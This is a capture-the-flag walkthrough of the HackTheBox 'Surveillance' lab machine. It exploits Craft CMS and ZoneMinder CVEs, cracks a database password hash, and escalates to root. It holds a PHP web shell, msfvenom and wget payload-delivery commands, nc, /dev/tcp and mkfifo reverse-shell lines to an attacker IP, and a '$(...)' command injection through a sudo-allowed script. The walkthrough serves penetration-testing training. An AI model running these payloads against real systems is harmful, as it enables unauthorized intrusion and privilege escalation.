Surveillance



IP: 10.129.122.21

Info Gathering

Initial Setup

<pre># Make directory to save files mkdir ~/HTB/Boxes/Surveillance cd ~/HTB/Boxes/Surveillance</pre>
<pre># Open a tmux session tmux new -s Surveillance</pre>
<pre># Start logging session (Prefix-Key) CTRL + b, SHIFT + P</pre>
<pre># Connect to HackTheBox OpenVPN sudo openvpn /etc/openvpn/client/lab_tobor.ovpn</pre>
<pre># Create Metasploit Workspace sudo msfconsole workspace -a Surveillance workspace Surveillance setg LHOST 10.10.14.51 setg LPORT 1337 setg RHOST 10.129.122.21 setg RHOSTS 10.129.122.21 setg SRVHOST 10.10.14.51 setg SRVPORT 9000 use multi/handler</pre>

Enumeration

```
# Add enumeration info into workspace
db_nmap -sC -sV -0 -A 10.129.122.21 -oN surveillance.nmap
```

Hosts

Hosts							
address	mac	name	os_name	os_flavor	os_sp	purpose	info
10.129.122.21			linux		5.X	server	

Services						
Services				-		
host	port	proto	name	state	info 	
10.129.122.21 10.129.122.21	22 80	tcp tcp	ssh http	open open	OpenSSH 8.9p1 Ubuntu nginx 1.18.0 Ubuntu	3ubuntu0.4

Gaining Access

In my nmap results I am able to see that 10.129.122.21 is forwarded to surveillance.htb in the browser **Screenshot Evidence**

PORT	STATE	SERVICE	VERSION							
22/tcp	open	ssh	OpenSSH	8.9p1	Ubuntu	3ubun	tu0.4	(Ubu	intu	Linu
ssh-h	iostkey	r:								
256	96:07	':1c:c6:7	7:3e:07:	a0:cc:	6f:24:1	19:74:	4d:57:	0b (ECDS	A)
_ 256	6 0b: a4	:c0:cf:e	2:3b:95:	ae:f6:	f5:df:7	/d:0c:	88:d6:	ce (ED25	519)
80/tcp	open	http	nginx 1.	18.0 ((Ubuntu))				
_http-	title:	Did not	: follow	redire	ect to b	ittp://	/surve	illa	ance.	htb/
_http-	server	-header:	nginx/1	1.18.0	(Ubunti	1)				

I added that value to my /etc/hosts file



Screenshot Evidence

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File Actions Edit V	'iew Help
127.0.0.1 127.0.1.1 10.129.122.21	localhost kali sµrveillance.htb
<pre># The following ::1 localhos ff02::1 ip6-alln ff02::2 ip6-allr</pre>	lines are desirable for IPv6 t ip6-localhost ip6-loopback odes

I am then able to access the site in my browser LINK: <u>http://surveillance.htb/</u> Screenshot Evidence



I viewed the page source to check comments and look for version information and discovered in the footer the site is running Craft CMS version 4.4.14

Screenshot Evidence



Visiting the link shows me the source code for the site **SOURCE**: <u>https://github.com/craftcms/cms/tree/4.4.14</u>

I ran a Google search for "craft cms 4.4.14 exploit" and discovered CVE-2023-41892 which is a remote code exeuction (RCE)

REFERENCE: <u>https://threatprotect.qualys.com/2023/09/25/craft-cms-remote-code-execution-vulnerability-</u> cve-2023-41892/



I next looked for an available proof of concept and found one on GitHub by Google searching "CVE-2023-41892 proof of concept"

REFERENCE: https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce Screenshot Evidence

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	Github Perspectives Images News Videos Shopping	Map	25	Books)(
	About 77,600 results (0.23 seconds)				
	CVE-2023-41892 is a security vulnerability discovered in popular content management system. Craft CMS version this vulnerability allow attackers to execute arbitrary co potentially compromising the security and integrity of t	n Crat ons af ode re the ap	ft CM fecte mote plica	1 <mark>S</mark> , a ed by ely, ition.	
	Gist https://gist.github.com > gmh5225 CVE-2023-41892 (Craft CMS Remote Code Execution)	- PO(c		
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I copy and pasted the exploit into a file on my machine

The PoC does not work as is and requires some modification

Reasoning for this is the exploit needs to be able to write to a directory on the webserver.

The native root directory the exploit defines is not writeable

SOURCE: https://blog.calif.io/p/craftcms-rce

Line 21 and Line 53 house the shell.php file which can safely be assumed is the file we are uploading to the target.

I added a URI value before it trying the directories seen by Burpsuite such as css, js, DRD, images, img, usr, and var without success

I fuzzed for more possibilities

This discovered a login page at /admin which I also attempted to write to without success. However, looking in Burp a new directory appeared "**cpresources**"

Screenshot Evidence



Just in case I grepped my wordlists for cpresources and fuzzed again using a wordlist that contains cpresources



ffuf -w /usr/shar	<pre>B/Boxes/Surviellance] 'e/wordlists/seclists/Discovery/Web-Content/dsstorewordlist.txt -u http://www.seclists.txt -u http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww</pre>
v2.1.0-dev	
:: Method :: URL	: GET : http://surveillance.htb/FUZZ
:: Wordlist	: FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/dsstoreword
:: Calibration	: true
:: Timeout	: 10
:: Threads	: 40
:: Matcher	: Response status: 200-299,301,302,307,401,403,405,500
.htaccessTtfsioVu	[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 67ms]
	[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 67ms]
images	[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 65ms]
	[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 71ms]
web confid	[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 71ms] [Status: 200, Size: 1202, Words: 385, Lines: 28, Duration: 71ms]
.htaccess	[Status: 200, Size: 304, Words: 43, Lines: 10, Duration: 73ms]
index.php	[Status: 200, Size: 16230, Words: 5713, Lines: 476, Duration: 89ms
admin	[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 186ms]
cpresources	[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 67ms]
index	[Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 1387ms]
logout	[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 942ms]
:: Progress: [1828/18	28] :: JOD [1/1] :: 32 req/sec :: Duration: [0:00:44] :: Errors: 0 ::

Back in the Proof of Concept exploit I modified lines 21 and 53 and changed /shell.php to cpresources/shell.php **Screenshot Evidence** Line 21

<pre>20 <read cpresources="" filename="caption:<:?php @system(@\$ REOUEST['cm</pre></th><th></th></tr><tr><th></th><th></th></tr><tr><th><pre>21 <write filename=" info:documentroot="" shell.ph"="">Comparison Comparison C</read></pre>	
<pre>22 """.replace("DOCUMENTROOT", documentRoot), "tex</pre>	

Screenshot Evidence Line 53



I also needed to remove the proxies value on line 50 so the exploit would go to the target **Screenshot Evidence** Original



Screenshot Evidence Line 50 Change



I exeuted the proof of concept and gained RCE

Command Executed
python3 poc.py http://surveillance.htb

Screenshot Evidence

<pre>[(root@kali)-[~/HTB/Boxes/Surviellance]</pre>
<pre> python3 poc.py http://surveillance.htb</pre>
[-] Get temporary folder and document root
[-] Write payload to temporary file
[-] Trigger imagick to write shell
<pre>[-] Done, enjoy the shell</pre>
\$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\$ hostname
surveillance
\$ hostname -I
10.129.122.21
\$

I elevated my shell by generating a Meterpreter payload

Generate Payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LH0ST=10.10.14.51 LP0RT=1337 -f elf -o tobor.elf

I started a listener

```
# Metasploit commands
use multi/handler
setg LHOST 10.10.14.51
setg LPORT 1337
set payload linux/x86/meterpreter/reverse_tcp
run -j
```

I uploaded the payload to the target

```
# Commands Executed on Target
wget http://10.10.14.51:8000/tobor.elf -P /tmp/tobor
chmod +x /tmp/tobor/tobor.elf
bash /tmp/tobor/tobor.elf
```

Screenshot Evidence Uploaded File

```
$ ls -la /tmp/tobor
total 12
drwxr-xr-x 2 www-data www-data 4096 Dec 15 03:55 .
drwxrwxrwt 14 root root 4096 Dec 15 03:55 ..
-rw-r--r- 1 www-data www-data 207 Dec 15 03:53 tobor.elf
$ chmod +x /tmp/tobor/tobor.elf
$ ls -la /tmp/tobor/tobor.elf
-rwxr-xr-x 1 www-data www-data 207 Dec 15 03:53 /tmp/tobor/tobor.elf
$ /tmp/tobor
```

Screenshot Evidence Caught Shell

```
<u>meterpreter</u> > getuid
Server username: www-data
meterpreter > shell
Process 1792 created.
Channel 1 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@surveillance:~/html/craft/web/cpresources$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@surveillance:~/html/craft/web/cpresources$ hostname
hostname
surveillance
www-data@surveillance:~/html/craft/web/cpresources$ hostname -I
hostname -I
10.129.122.21
www-data@surveillance:~/html/craft/web/cpresources$
```

In my enumeration I discovered a "backups" directory containing a zip file **Screenshot Evidence**

www-data@surveillance:~/html/craft\$ ls storage/backups ls storage/backups surveillance--2023-10-17-202801--v4.4.14.sql.zip www-data@surveillance:~/html/craft\$ cd storage/backsup

I transferred to my machine

Meterpreter Command Executed
download /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip

Background channel 1? [y/N] y meterpreter > download /var/www/html/craft/storage/backups/survei [*] Downloading: /var/www/html/craft/storage/backups/surveillance 4.4.14.sql.zip [*] Downloaded 19.45 KiB of 19.45 KiB (100.0%): /var/www/html/cra veillance--2023-10-17-202801--v4.4.14.sql.zip [*] Completed : /var/www/html/craft/storage/backups/surveillance 4.4.14.sql.zip

I unzipped the archive and view the file it contained

```
# Command Executed
unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
file surveillance--2023-10-17-202801--v4.4.14.sql
less surveillance--2023-10-17-202801--v4.4.14.sql
```

Screenshot Evidence



I grepped for a username and discovered Matthew is the admin user and a database hash for him



Screenshot Evidence



I added the hash to a file and identified it

```
# Commands Executed
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > matthew.hash
hashid
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
```



I was able to crack the hash

Hashcat Method
hashcat -m 1400 matthew.hash /usr/share/wordlists/rockyou.txt
John Method
john --format=raw-sha256 -w=/usr/share/wordlists/rockyou.txt matthew.hash

Screenshot Evidence



USER: matthew PASS: starcraft122490

I was able to ssh into the target using those credentials and read the user flag

Read the user flag
cat ~/user.txt
#RESULTS
0527518cf8ea10c848a7fb0895ba8265

Screenshot Evidence

matthew@surveillance:~\$ hostname
surveillance
matthew@surveillance:~\$ id
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)
matthew@surveillance:~\$ hostname -I
10.129.122.21
matthew@surveillance:~\$ cat ~/user.txt
0527518cf8ea10c848a7fb0895ba8265
matthew@surveillance:~\$

USER FLAG: 0527518cf8ea10c848a7fb0895ba8265

PrivEsc

In my enumeration I noticed port 8080 was listening locally only as is MariaDB on port 3306

Command Executed
ss -tunlp

Screenshot Evidence

matthew@surveil	lance:~\$ ss -tunlp			
Netid	State	Recv-Q	Send-Q	Local Address:Port
udp	UNCONN	0	0	127.0.0.53%lo:53
udp	UNCONN	0	0	0.0.0.0:68
tcp	LISTEN	0	80	127.0.0.1:3306
tcp	LISTEN	0	511	127.0.0.1:8080
tcp	LISTEN	0	511	0.0.0.0:80
tcp	LISTEN	0	4096	127.0.0.53%lo:53
tcp	LISTEN	0	128	0.0.0.0:22
tcp	LISTEN	0	128	[::]:22
matthew@surveil	lance:~\$			

I checked for the process listening on 8080 but could not find it with netstat or lsof In the nginx sites available directory I was able to discover this is zoneminder site configuration



Screenshot Evidence



I explored the /usr/share/zoneminder/www directory and discovered a database.php file which is typically found on servers running MariaDB port 3306

Inside the database file I discovered a username and password for the MySQL database

Commands Executed
<pre>findtype f -name database.php 2>/dev/null</pre>
<pre>grep -i password ./api/app/Config/database.php</pre>
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Screenshot Evidence



I was able to access the SQL database

Commands Executed
mysql -u zmuser -p
Password: ZoneMinderPassword2023

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matthew@surveillance:/usr/share/zoneminder/www\$ mysql -u zmuser -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 5830 Server version: 10.6.12-MariaDB-Oubuntu0.22.04.1 Ubuntu 22.04 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement MariaDB [(none)]> |

I explored the database for useful info

MariaDB Commands Executed
show databases;

Screenshot Evidence

MariaDB [zm]> <mark>se</mark>	lect Id,Username,Password from Users;
Id Username	Password
1 admin	\$2y\$10\$BuFy0QTupRjSWW6kEAlBC06AlZ8ZPGDI8Xba5pi/gLr2ap86dxYd.

I identified the hash value and attempted to crack the hash unsuccessfully



The zoneminder files are owned by the user zoneminder who I can attempt to elevate my privileges too **Screenshot Evidence**

drwxr-xr-x	2	root	zoneminder	4096	0ct	17	10:57	lang	
-rw-rr	1	root	zoneminder	29	Nov	18	2022	robots.txt	
drwxr-xr-x	3	root	zoneminder	4096	0ct	17	10:53	skins	
drwxr-xr-x	5	root	zoneminder	4096	0ct	17	10:57	vendor	
drwxr-xr-x	2	root	zoneminder	4096	0ct	17	10:57	views	
matthew@surveillance:/usr/share/zoneminder/www\$ grep zoneminder /etc/passwd									
<pre>zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash</pre>									

I closed my SSH session and logged in again creating a poor mans SSH proxy to access port 8080 or any other ports I may need

Commands Executed
exit
ssh -D 1080 matthew@surveillance.htb
Password: starcraft122490

Screenshot Evidence



I then used the SOCKS5 proxy in FoxyProxy to view the site **Screenshot Evidence** Connection Profile

SOCKS5			
Title	SOCKS5	Hostname	127.0.0.1
Туре	SOCKS5	✓ Port	1080
Country		✓ Username	
City		Password	
Color	e e		
	<u> </u>		

Screenshot Evidence Selected Connection Profile



I visited port 8080 in my browser and discovered a new site LINK: <u>http://127.0.0.1:8080/</u>

Screenshot Evidence



I could not find version information on the page so I checked on the server



FILE: /usr/share/zoneminder/www/includes/config.php

Screenshot Evidence



I ran a search for an exploit using "zoneminder 1.36.32 exploit" and discovered CVE-2023-26035 which is another unauthenticated RCE

EXPLOIT: https://github.com/rvizx/CVE-2023-26035

Screenshot Evidence



I downloaded the file to my machine and executed it

```
# Download File from GitHub
wget https://raw.githubusercontent.com/rvizx/CVE-2023-26035/main/exploit.py .
```

I vierfied my proxychains file is up to date

Modify File vim /etc/proxychains4.conf # Make the last line config socks5 127.0.0.1 1080



I set up a listener

Netcat way
nc -lvnp 1336
Metasploit way
use multi/handler
set LHOST 10.10.14.51
set LPORT 1336
set payload linux/x86/shell/reverse_tcp
run -j

I then executed the payload

```
# Command Executed
proxychains python3 exploit.py -t http://127.0.0.1:8080/ -ip 10.10.14.51 -p 1336
```

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```
kali)-[~/HTB/Boxes/Surviellance]
   proxychains python3 exploit.py -t http://127.0.0.1:8080/ -ip 10.10.14.51 -p 1336
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[>] fetching csrt token
[proxychains] Strict chain ... 127.0.0.1:1080 ...
                                                      127.0.0.1:8080 ... OK
[>] recieved the token: key:0f936fd141a2f2dbbdcaed79be31b19a18104a5c,1702615117
[>] executing...
[>] sending payload..
proxychains] Strict chain ...
                                 127.0.0.1:1080
                                                      127.0.0.1:8080
                                                                           0K
                                                                       ...
```

This caught a shell **Screenshot Evidence**

This discovered I can run sudo without a password if the command is /usr/bin/zm[a-zA-Z]*.pl *

Screenshot Evidence

Commands Executed

Test creating file
touch /usr/bin/test

sudo -l

I loaded a PTY and checked my sudo permissions

python3 -c 'import pty;pty.spawn("/bin/bash")'

This would have been too easy if successful

```
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/
    use_pty
User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
```

I returned a list of all commands the above regex includes

```
# Command Executed
find /usr/bin -type f -name zm[a-zA-Z]*.pl
```

zoneminder@surveillance:/usr/share/zoneminder/www\$ find /usr/bin -ty <der/www\$ find /usr/bin -type f -name zm[a-zA-Z]*.pl</pre> /usr/bin/zmtrack.pl /usr/bin/zmpkg.pl /usr/bin/zmcontrol.pl /usr/bin/zmonvif-probe.pl /usr/bin/zmvideo.pl /usr/bin/zmtelemetry.pl /usr/bin/zmsystemctl.pl /usr/bin/zmonvif-trigger.pl /usr/bin/zmwatch.pl /usr/bin/zmdc.pl /usr/bin/zmstats.pl /usr/bin/zmtrigger.pl /usr/bin/zmx10.pl /usr/bin/zmfilter.pl /usr/bin/zmcamtool.pl /usr/bin/zmaudit.pl /usr/bin/zmupdate.pl /usr/bin/zmrecover.pl

I could not find any search results. I used --help to get an idea of what each file did

The zmupdate.pl makes a backup of the SQL database and to do that the script executes a system command mysqldump

There is no input validation on the dbUser variable which means if I plug in \$() or `` around a file it will be executed

Screenshot Evidence



I was able to take advantage of this by plugging a script into the username field to catch a reverse shell When the mysqldump command gets executed, it attempts to load the username from a file effectively executing the contents of the file

I started a listener

Netcat way
nc -lvnp 1335

I created a reverse shell script Contents of /tmp/rev.sh #!/bin/bash
nc -e /bin/bash 10.10.14.51 1335 || bash -i >& /dev/tcp/10.10.14.51/1335 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /
tmp/f|/bin/bash -i 2>&1|nc 10.10.14.51 1335 >/tmp/f

I defined rev.sh as the username and executed the sudo command to catch a shell



Screenshot Evidence Command Results

```
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version
<.pl --version=1 --user='$(/tmp/rev.sh)' --pass=derp
Initiating database upgrade to version 1.36.32 from version 1
WARNING - You have specified an upgrade from version 1 but the database version found
Press enter to continue or ctrl-C to abort :
Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : n
n
Upgrading database to version 1.36.32
Upgrading DB to 1.26.1 from 1.26.0
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZ2] [-I length] [-i interval] [-M ttl]
        [-m minttl] [-0 length] [-P proxy_username] [-p source_port]
        [-q seconds] [-s sourceaddr] [-T keyword] [-V rtable] [-W recvlimit]
        [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]]
        [destination] [port]
```

I was then able to read the root flag

Commands Executed
cat /root/root.txt
#RESULTS
2c0664a573d3cb6e0048c68b9bdc3f72

Screenshot Evidence Shell

```
kali)-[~/HTB/Boxes/Surviellance]
└_# nc -lvnp 1335
listening on [any] 1335 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.122.21] 54486
root@surveillance:/usr/share/zoneminder/www# hostname
hostname
surveillance
root@surveillance:/usr/share/zoneminder/www# id
id
uid=0(root) gid=0(root) groups=0(root)
root@surveillance:/usr/share/zoneminder/www# hostname -I
hostname -I
10.129.122.21
root@surveillance:/usr/share/zoneminder/www# cat /root/root.txt
cat /root/root.txt
2c0664a573d3cb6e0048c68b9bdc3f72
root@surveillance:/usr/share/zoneminder/www#
[Surviella0:openvpn 1:msf- 2:python3
```

ROOT FLAG: 2c0664a573d3cb6e0048c68b9bdc3f72